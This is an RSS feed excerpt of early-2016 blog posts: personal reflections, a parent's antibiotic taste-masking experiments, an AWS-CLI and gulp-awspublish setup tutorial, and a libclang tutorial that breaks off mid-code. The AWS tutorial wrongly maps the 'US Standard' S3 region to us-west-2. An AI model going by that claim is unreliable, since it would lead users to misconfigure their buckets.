"wants". Every guide to controlling your budget usually starts with…</description><author>Tilting at Windmills</author><pubDate>Sun, 03 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://tiltingatwindmills.dev/how-necesse-expenses/</guid></item><item><title>2015 Year in Review</title><link>https://benovermyer.com/blog/2016/01/2015-year-in-review/</link><description>&lt;p&gt;2015 was a year of big changes for me. The biggest was starting on the path to divorce and moving into my own apartment. For the first time in my life, I'm living completely on my own. That feels very different, and very exciting. I also had my first anxiety attack earlier in the year. Since then, while I haven't had any more, I've definitely felt more anxious and vulnerable than before. This is strange, since prior to the attack, I always felt like I didn't worry about anything. I'm still mystified as to why it happened.&lt;/p&gt;
&lt;p&gt;Continuing the health-related theme, in December I noticed that I had lost ten pounds since the last time I'd been weighed. I chalked it up to my new method of commuting since moving into the apartment - walking to work. I'm not convinced that was completely the case anymore, but it was probably a big contributor. The holidays erased half of that loss, but eh, I can recover from that. I established a habit of doing push-ups every morning after waking, I'm working on my nutrition, and I joined Bodyspace, a fitness social networking run by Bodybuilding.com.&lt;/p&gt;
&lt;p&gt;At work, I went from being sole operations engineer on a legacy platform to lead operations engineer on a team that helped launched a brand-new platform to, in October, digital operations manager. Granted, I'm a “working manager,” and still spend a lot of time on the engineering side of things. Starting in November, I began budgeting in earnest. I'm much more aware of where my money is going and for the first time in well over a decade I feel in control of my finances. I've kept it up, and by this point I think budgeting has become a daily habit. 2015 was very stressful. 2016 seems full of promise and I'm very optimistic about the future. Here's to a year of health and personal growth!&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sun, 03 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2016/01/2015-year-in-review/</guid></item><item><title>Janathon 2016 #2 - even slower and even easier</title><link>https://rjp.is/blogging/posts/janathon-2016-2-even-slower-and-even-easier-2/</link><description>Didn&amp;rsquo;t feel like parkrun (too tired, upset stomach) but eventually stirred for what was going to be a 5km coffee jaunt but which turned into a hilly* 10km coffee wander and then a 6km wet wander home for a total of just over 16km (10 miles for imperialistic loons.)
Elevation graph for the hilly jaunt, a la Buko, via Strava
Out to Woolwich&amp;hellip; And back</description><author>infrequent oscillations</author><pubDate>Sun, 03 Jan 2016 00:19:51 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-2-even-slower-and-even-easier-2/</guid></item><item><title>Quick Thoughts: Universe Lifetime</title><link>https://peterlyons.com/problog/2016/01/quick-thoughts-universe-lifetime/</link><description>&lt;h2 id="introducing-quick-thoughts"&gt;Introducing Quick Thoughts&lt;/h2&gt;
&lt;p&gt;Thinking about ways to share my tech thoughts and engage with the Internet, I've been feeling frustrated by twitter's tweet length limit and ensuing conversation and clarification struggles. But also the relatively high friction of a blog post has been limiting as well. A new idea I'm going to try is to quickly log "Thoughts of the Week" then edit and curate them into a weekly blog post. I'll be doing this using the tagging feature in my &lt;a href="https://mjournal.peterlyons.com"&gt;mjourna&lt;/a&gt;l open source journaling software.&lt;/p&gt;
&lt;h3 id="tyranny-of-noise"&gt;Tyranny of Noise&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://www.nytimes.com/interactive/2015/12/29/arts/design/sound-architecture.html"&gt;NYT: Sound Architecture&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This one is close to home for me. I'm sensitive to noise and am baffled that common American single family homes and apartments do great at creating visual privacy but have abysmal acoustic privacy. Lately I've been getting more and more annoyed with the helicopter-level sounds my gas furnace makes and the sounds of the ductwork snapping as it expands and contracts given the very cold temperatures we have had the past two weeks. I'd love to live in a house with radiant heating at some point to enjoy the quiet.&lt;/p&gt;
&lt;h3 id="fast-charging-nexus-5x"&gt;Fast Charging Nexus 5X&lt;/h3&gt;
&lt;p&gt;Sigh. Yet another mess. If you have a Google Nexus 5X or 6P smartphone, &lt;a href="http://www.droid-life.com/2015/10/19/nexus-6p-nexus-5x-quick-charge/"&gt;here's the article&lt;/a&gt; that explains the goats you need to sacrifice to get the "charging rapidly" to work.&lt;/p&gt;
&lt;h3 id="djb-and-cosmological-theories"&gt;DJB and Cosmological Theories&lt;/h3&gt;
&lt;p&gt;Leave it to &lt;a href="http://cr.yp.to/djb.html"&gt;DJB&lt;/a&gt; to include this beauty in the &lt;a href="https://cr.yp.to/libtai/tai64.html#tai64n"&gt;docs for the TAI64 timestamp format&lt;/a&gt; used by multilog:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Integers 2^63 and larger are reserved for future extensions. Under many
cosmological theories, the integers under 2^63 are adequate to cover the entire
expected lifetime of the universe; in this case no extensions will be necessary.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>Pete's Points</author><pubDate>Sat, 02 Jan 2016 20:30:14 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/01/quick-thoughts-universe-lifetime/</guid></item><item><title>Masking the taste of Augmentin - with candy canes</title><link>https://da-data.blogspot.com/2016/01/masking-taste-of-augmentin-with-candy.html</link><description>Or, "how to convince a child with pneumonia to take her antibiotics, part 1 of ... hopefully 1."&lt;br /&gt;
&lt;br /&gt;
My 3.5 y/o daughter came down with pneumonia last week. &amp;nbsp;While it turns out to probably have been viral, she was prescribed &lt;a href="https://en.wikipedia.org/wiki/Amoxicillin/clavulanic_acid"&gt;Augmentin&lt;/a&gt; (amoxicillin&amp;nbsp;+ clavulanic acid), and instructed to finish it.&lt;br /&gt;
&lt;br /&gt;
She. &amp;nbsp;Hates. &amp;nbsp;Augmentin.&lt;br /&gt;
&lt;br /&gt;
With a passion unmatched by anything I've seen. &amp;nbsp;As far as I can tell, this is one of the most singularly nasty-tasting medicines we try to give kids. &amp;nbsp;And we didn't get it flavored. &amp;nbsp;The straight stuff causes her to gag and/or vomit.&lt;br /&gt;
&lt;br /&gt;
So, in the spirit of trying to educate a budding young experimentalist, we conducted a sequence of experiments, lining up three spoons-full of augmentin mixed with various substances to dilute it. &amp;nbsp;I asked her to tell me which of the three had the best taste. &amp;nbsp;Each spoonful contained about 0.25ml augmentin suspension to about 0.25 tsp of masking agent.&lt;br /&gt;
&lt;br /&gt;
I can't guarantee that anyone else's preferences will match my daughter's, but I'm including the list because she (yes, seriously) came up with some ideas we hadn't seen before. &amp;nbsp;The ratings are her preferences as elicited through the taste tests.&lt;br /&gt;
&lt;br /&gt;
All "recipes" are for 9ml of Augmentin. &amp;nbsp;Please feel free to be disturbed at the amount of sugar in all of these options - I am too. &amp;nbsp;But it got it down and mostly stayed down.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2o-ezfmYvb5tzKLvkA0Tr0-X5sAKEkiuV1wUHhGlHjRbxuczg3oVB1Wm3PklCx9GfPpwnFSPF-CWTVSI6cLwOWlU5bQhra5fOd60tr7wgXbaURIKK9dmLkuQMPdltWVNmkxeVvtV3fP4/s1600/IMG_20160101_123901.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2o-ezfmYvb5tzKLvkA0Tr0-X5sAKEkiuV1wUHhGlHjRbxuczg3oVB1Wm3PklCx9GfPpwnFSPF-CWTVSI6cLwOWlU5bQhra5fOd60tr7wgXbaURIKK9dmLkuQMPdltWVNmkxeVvtV3fP4/s320/IMG_20160101_123901.jpg" width="240" /&gt;&lt;/a&gt;&lt;/div&gt;
(1) &amp;nbsp;The surprising winner: &amp;nbsp;&lt;b&gt;Candy-Cane Flavor. &amp;nbsp;&lt;/b&gt;To make: &amp;nbsp;Throw a peppermint candy cane into your &lt;a href="http://amzn.to/1R2CP4B"&gt;food processor&lt;/a&gt; or (high-performance) &lt;a href="http://amzn.to/1ZFnTdZ"&gt;blender&lt;/a&gt;. &amp;nbsp;I can't guarantee it won't dull the chopping blade - but, c'mon, if you can blend an iPhone, you can blend a candy cane. &amp;nbsp;Mix at about a 5-to-1 ratio of candy cane to Augmentin.&lt;br /&gt;
&lt;br /&gt;
The alternate runner-up: &amp;nbsp;&lt;a href="http://amzn.to/1ZFnY1i"&gt;Peppermint oil&lt;/a&gt;&amp;nbsp;(about 8 drops)&amp;nbsp;+ two or three tablespoons (!!) sugar&amp;nbsp;+ augmentin.&lt;br /&gt;
&lt;br /&gt;
It's gloopy. &amp;nbsp;It's got to be horrible for their teeth (brush well after!). &amp;nbsp;But it's got so much mint flavor it masks the flavor with less overall volume than anything else we tried, which resulted in less time-to-ingest. &amp;nbsp;Candy canes were all her idea.&lt;br /&gt;
&lt;br /&gt;
(2) &amp;nbsp;Runner-up: &amp;nbsp;&lt;b&gt;Blackberry jam, seedless&lt;/b&gt;. &amp;nbsp;Take my word on the seedless: &amp;nbsp;We tried with a homemade dewberry jam, but she had to chew it a bit, which resulted in more exposure time and more "bleah". &amp;nbsp;Go for as much fruit as possible to get a strong flavor in there. &amp;nbsp;Drawback: &amp;nbsp;Requires lots of dilution (meaning: &amp;nbsp;several tablespoons of jam), so it takes a while.&lt;br /&gt;
&lt;br /&gt;
(3) &amp;nbsp;Worked for a while but now she disapproves: &amp;nbsp;&lt;b&gt;Chocolate syrup&lt;/b&gt;. &amp;nbsp;There's something in the chocolate flavor that doesn't mask the ick-sweet of the augmentin. &amp;nbsp;This worked, but it got a double "bleah" on every spoonful.&lt;br /&gt;
&lt;br /&gt;
(4) &amp;nbsp;Worked twice: &amp;nbsp;&lt;b&gt;Honey&amp;nbsp;+ (soy) milk&lt;/b&gt;. &amp;nbsp;We hadn't had time to go shopping and were staying in a hotel over the holidays, so this was our quick hack to try to make it better. &amp;nbsp;Three "bleahs".&lt;br /&gt;
&lt;br /&gt;
(5) &amp;nbsp;Not as good as chocolate syrup: &amp;nbsp;&lt;b&gt;Molasses&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
(6) &amp;nbsp;Also not as good as chocolate syrup: &amp;nbsp;&lt;b&gt;Apple Butter.&lt;/b&gt;&amp;nbsp; (For those not familiar, Apple Butter is like very strong applesauce - it doesn't contain butter. &amp;nbsp;Think peanut butter, but pure apples.)&lt;br /&gt;
&lt;br /&gt;
(7) &amp;nbsp;Failed - not as good as chocolate syrup or apple butter: &amp;nbsp;&lt;b&gt;Salted caramel sauce&lt;/b&gt;. &amp;nbsp;On the bright side, my wife and I did enjoy it. grin.&lt;br /&gt;
&lt;br /&gt;
(8) &amp;nbsp;Didn't test better than blackberry: &amp;nbsp;&lt;b&gt;Strawberry jam.&lt;/b&gt;&amp;nbsp; The stronger flavor of the blackberry proved a better masking agent.&lt;br /&gt;
&lt;br /&gt;
Comments with additional suggestions appreciated if we ever have to do this again -- have you found something that works even better?&lt;br /&gt;
&lt;br /&gt;
(From a friend: &amp;nbsp;If you're reading this in advance, at Walgreens and maybe a few other places, you can get the &lt;a href="http://www.flavorx.com/"&gt;Flavorx flavorings&lt;/a&gt; added when you fill the prescription. &amp;nbsp;We haven't tried them yet.)&lt;br /&gt;
&lt;br /&gt;</description><author>Dave's Data</author><pubDate>Sat, 02 Jan 2016 20:08:17 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2016/01/masking-taste-of-augmentin-with-candy.html</guid></item><item><title>Die Architektur der Galeria.de Plattform im Kontext der Produktentwicklungs-Organisation</title><link>https://manuel.kiessling.net/2016/01/02/die-architektur-der-galeria-de-plattform-im-kontext-der-produktentwicklungsorganisation/</link><description>Über diesen Artikel Im Kontext des GALERIA Kaufhof Technology Blogs stellt der vorliegende Artikel ein Update und eine Erweiterung des Beitrags von September 2014 dar.
Schon damals existierte ein klar definiertes Set an Vorgaben, welches den Rahmen für Makro- und Mikroarchitekturfragen gesteckt hat und das Projekt in Hinblick auf Fragen der System- und Softwarearchitektur leitet.
In den vergangenen Tagen haben wir begonnen, ausgehend von den Erfahrungen bis heute und unserer jetzigen Perspektive, einige der Grundlagen unserer Architektur noch einmal neu aufzuschreiben.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Sat, 02 Jan 2016 17:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2016/01/02/die-architektur-der-galeria-de-plattform-im-kontext-der-produktentwicklungsorganisation/</guid></item><item><title>Functional programming bookmarks</title><link>https://xenodium.com/functional-programming-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://adit.io/posts/2013-04-17-functors,_applicatives,_and_monads_in_pictures.html"&gt;Functors, Applicatives, And Monads In Pictures&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.russbishop.net/monoids-monads-and-functors"&gt;Functors, Applicatives, and Monads in Plain English&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.tomduncalf.com/posts/functional-programming-fundamentals-talk"&gt;Tom Ducalf's Programming Fundamentals Talk&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.jenkster.com/2015/12/what-is-functional-programming.html"&gt;What is functional programming?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.jenkster.com/2015/12/which-programming-languages-are-functional.html"&gt;Which programming languages are functional?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.acolyer.org/2016/09/14/why-functional-programming-matters/"&gt;Why Functional Programming Matters&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 02 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/functional-programming-bookmarks</guid></item><item><title>9 Productivity tips</title><link>https://xenodium.com/9-productivity-tips</link><description>&lt;p&gt;From HBR's &lt;a href="https://hbr.org/2015/12/9-productivity-tips-from-people-who-write-about-productivity"&gt;9 Productivity Tips from People Who Write About Productivity&lt;/a&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Block time away from reactive tasks (email).&lt;/li&gt;
&lt;li&gt;Business = wasted energy.&lt;/li&gt;
&lt;li&gt;Exercise, sleep, and 90 minute work bursts.&lt;/li&gt;
&lt;li&gt;Incomplete tasks prompt healthy thinking out of context.&lt;/li&gt;
&lt;li&gt;Time off or stepping back is invaluable.&lt;/li&gt;
&lt;li&gt;Genuinely help were most successful/enjoyable.&lt;/li&gt;
&lt;li&gt;Plan for saying no while highlighting priority and seeking feedback.&lt;/li&gt;
&lt;li&gt;Measure important behavior change.&lt;/li&gt;
&lt;li&gt;Make time now (automate, simplify, etc.).&lt;/li&gt;
&lt;/ol&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 02 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/9-productivity-tips</guid></item><item><title>Look mum, I’m a MVP</title><link>https://nicolaiarocci.com/look-mum-im-an-mvp/</link><description>&lt;p&gt;A few hours ago I was notified that I have been awarded with the Microsoft MVP Award for Development Technologies.&lt;/p&gt;
&lt;p&gt;This came totally unexpected. Especially so considering that during the last few years I have been splitting my time between Microsoft and other open source technologies. My public work has mostly been on Python and MongoDB. Yes I also released .NET open source projects in the meantime (more are coming soon) and yes, I wrote a few articles here and on the MSDN Blog, attended Microsoft events and did interviews. But really, I did not expect these activities to have an impact. This is probably why only a couple minutes from learning about the award I was suffering Impostor Syndrome symptoms.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Sat, 02 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/look-mum-im-an-mvp/</guid></item><item><title>2016 Predictions</title><link>https://justingarrison.com/blog/2016-01-02-2016-predictions/</link><description>In a tradition that is now 8 years running 2009, here are my predictions for 2016.</description><author>Justin Garrison's Homepage</author><pubDate>Sat, 02 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-01-02-2016-predictions/</guid></item><item><title>AWS-CLI + Gulp + awspublish for Dummies</title><link>https://huphtur.nl/aws-cli-gulp-awspublish-for-dummies/</link><description>&lt;p&gt;One of the better &lt;a href="http://gulpjs.com/"&gt;Gulp&lt;/a&gt; plugins to upload your files to &lt;a href="https://aws.amazon.com/s3/"&gt;Amazon S3&lt;/a&gt; has to be &lt;a href="https://www.npmjs.com/package/gulp-awspublish"&gt;awspublish&lt;/a&gt;. Unfortunately, since I’m not the brightest when it comes to CLI stuff, it took me a while to get it working properly. Here’s a quick tutorial that will hopefully save other developers &lt;em&gt;in spe&lt;/em&gt; some time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This tutorial assumes you already have an AWS S3 bucket set up and a Gulp project running on your OS X system.&lt;/p&gt;
&lt;h2&gt;Install AWS-CLI&lt;/h2&gt;
&lt;p&gt;First we’re going to install and configure &lt;a href="https://aws.amazon.com/cli/" title="Amazon Web Services Command Line Interface"&gt;AWS CLI&lt;/a&gt;. Go to your terminal and download, unzip and install the &lt;a href="http://docs.aws.amazon.com/cli/latest/userguide/installing.html#install-bundle-other-os"&gt;bundled installer&lt;/a&gt; with these commands:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;curl &amp;quot;https://s3.amazonaws.com/aws-cli/awscli-bundle.zip&amp;quot; -o &amp;quot;awscli-bundle.zip&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;unzip awscli-bundle.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;sudo ./awscli-bundle/install -i /usr/local/aws -b /usr/local/bin/aws
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Type: &lt;code&gt;aws help&lt;/code&gt; to make sure things installed correctly (hit: &lt;code&gt;q&lt;/code&gt; to exit the help docs). You can now delete the zip file and the install folder:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;rm -r awscli-bundle*
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Configure AWS-CLI&lt;/h2&gt;
&lt;p&gt;Next up we’re going to &lt;a href="http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html"&gt;configure AWS-CLI&lt;/a&gt; so awspublish can use it. Type the following in your terminal:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;aws configure
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fill out your AWS Access and Secret Key.&lt;/p&gt;
&lt;p&gt;It will also ask for default region. Check your S3 bucket to see what you used, if it’s set to “US Standard” type: &lt;code&gt;us-west-2&lt;/code&gt;. &lt;strong&gt;It’s important you fill this out or else awspublish will break.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For the default output format question just hit enter to leave it blank.&lt;/p&gt;
&lt;p&gt;If all went well, 2 files are created in a folder in your home directory. To check hit:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;ls -al ~/.aws
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you ever need to change things in the config files, now you also know where they are located.&lt;/p&gt;
&lt;h2&gt;Install gulp-awspublish&lt;/h2&gt;
&lt;p&gt;Go to your Gulp project and install awspublish:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;npm install --save-dev gulp-awspublish
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open up your gulpfile.js and add the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;var awspublish = require(’gulp-awspublish’);

// Publish to AWS S3
gulp.task(’publish’, function() {
  var publisher = awspublish.create({
    region: ’us-west-2’,
    params: {
      Bucket: ’YOUR-BUCKET-NAME’
    }
  });
  var headers = {
    ’Cache-Control’: ’max-age=315360000, no-transform, public’
  };
  return gulp.src(’public/**’)
    .pipe(awspublish.gzip())
    .pipe(publisher.publish(headers))
    .pipe(publisher.cache())
    .pipe(awspublish.reporter());
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Make sure the region is set to the same region that you used during the AWS-CLI configuration.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Change YOUR-BUCKET-NAME to your bucket name you wish to upload to and change the gulp.src location to wherever you are uploading from.&lt;/p&gt;
&lt;p&gt;To upload all the things type: &lt;code&gt;gulp publish&lt;/code&gt; and watch awspublish do it’s magic.&lt;/p&gt;
&lt;h2&gt;Disclaimer&lt;/h2&gt;
&lt;p&gt;This simple set up is what worked for me. There are probably a lot better ways to configure things, so make sure to read the &lt;a href="https://aws.amazon.com/documentation/cli/"&gt;AWS-CLI&lt;/a&gt; and &lt;a href="https://github.com/pgherveou/gulp-awspublish"&gt;awspublish&lt;/a&gt; docs to fine-tune your projects.&lt;/p&gt;
&lt;p&gt;If you have any questions or suggestions, feel free to &lt;a href="https://github.com/huphtur/huphtur.github.io/issues"&gt;hollar at me&lt;/a&gt; on Github.&lt;/p&gt;</description><author>huphtur</author><pubDate>Sat, 02 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://huphtur.nl/aws-cli-gulp-awspublish-for-dummies/</guid></item><item><title>Baby steps with `libclang`: Counting function extents</title><link>https://bastian.rieck.me/blog/2016/baby_steps_libclang_function_extents/</link><description>&lt;p&gt;In &lt;a href="https://bastian.rieck.me/blog/2015/baby_steps_libclang_ast/"&gt;the previous instalment of this little series&lt;/a&gt;,
I already explained how to walk an abstract syntax tree. Since this requires a specific call to
&lt;code&gt;clang&lt;/code&gt; beforehand, I want to extend the example to be able to parse code &lt;em&gt;directly&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We will not encounter any new concepts for code parsing here but rather some additional methods of
&lt;code&gt;libclang&lt;/code&gt;. The main entry point for parsing code directly is the &lt;code&gt;clang_parseTranslationUnit()&lt;/code&gt;
method. It requires a working compilation index (which we already encountered last time) as
well as an optional number of additional compiler arguments. These arguments turn out to be
extremely critical when trying to do sensible things with C++ code. Without, say, the proper include
directories, &lt;code&gt;clang&lt;/code&gt; will be incapable of deciding whether a series of tokens in a source code
constitutes a type, for example.&lt;/p&gt;
&lt;h1 id="where-to-get-compile-arguments"&gt;Where to get compile arguments&lt;/h1&gt;
&lt;p&gt;The easiest way to obtain compilation parameters is to use a &lt;em&gt;compilation database&lt;/em&gt;. Typically, this
is a file called &lt;code&gt;compile_commands.json&lt;/code&gt; that resides in the build directory of a software project.
For each source file, it contains the complete call to the compiler, including all flags and other
parameters. We can easily obtain such a compilation database if we specify&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SET( CMAKE_EXPORT_COMPILE_COMMANDS ON )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;in the main &lt;code&gt;CMakeLists.txt&lt;/code&gt; file of our project (&lt;a href="https://bastian.rieck.me/blog/2015/ycm_cmake/"&gt;see my article about the YouCompleteMe
engine and &lt;code&gt;cmake&lt;/code&gt; in this very blog&lt;/a&gt;). Armed with this file, &lt;code&gt;libclang&lt;/code&gt;
offers numerous methods to help deal with the database. The following snippet (again, see the
bottom of this post for the complete code) will attempt to load a database from a file and count the
number of parameters:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;clang-c/CXCompilationDatabase.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;clang-c/Index.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Somewhat later, in the main function:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CXCompilationDatabase_Error&lt;/span&gt; &lt;span class="n"&gt;compilationDatabaseError&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CXCompilationDatabase&lt;/span&gt; &lt;span class="n"&gt;compilationDatabase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompilationDatabase_fromDirectory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;compilationDatabaseError&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CXCompileCommands&lt;/span&gt; &lt;span class="n"&gt;compileCommands&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompilationDatabase_getCompileCommands&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compilationDatabase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;resolvedPath&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;numCompileCommands&lt;/span&gt;           &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompileCommands_getSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compileCommands&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let’s ignore the &lt;code&gt;resolvedPath&lt;/code&gt; variable for the time being&amp;amp;emdash;it will be explained in the
complete code. Our next task is to get all these parameters into the &lt;code&gt;clang_parseTranslationUnit()&lt;/code&gt;
function.
Unfortunately, the interface for this method is somewhat clunky (at least I am not aware of a
better solution). We have to convert each command individually and pass it in the form of
two-dimensional &lt;code&gt;char&lt;/code&gt; array:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CXCompileCommand&lt;/span&gt; &lt;span class="n"&gt;compileCommand&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompileCommands_getCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compileCommands&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompileCommand_getNumArgs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compileCommand&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;                &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
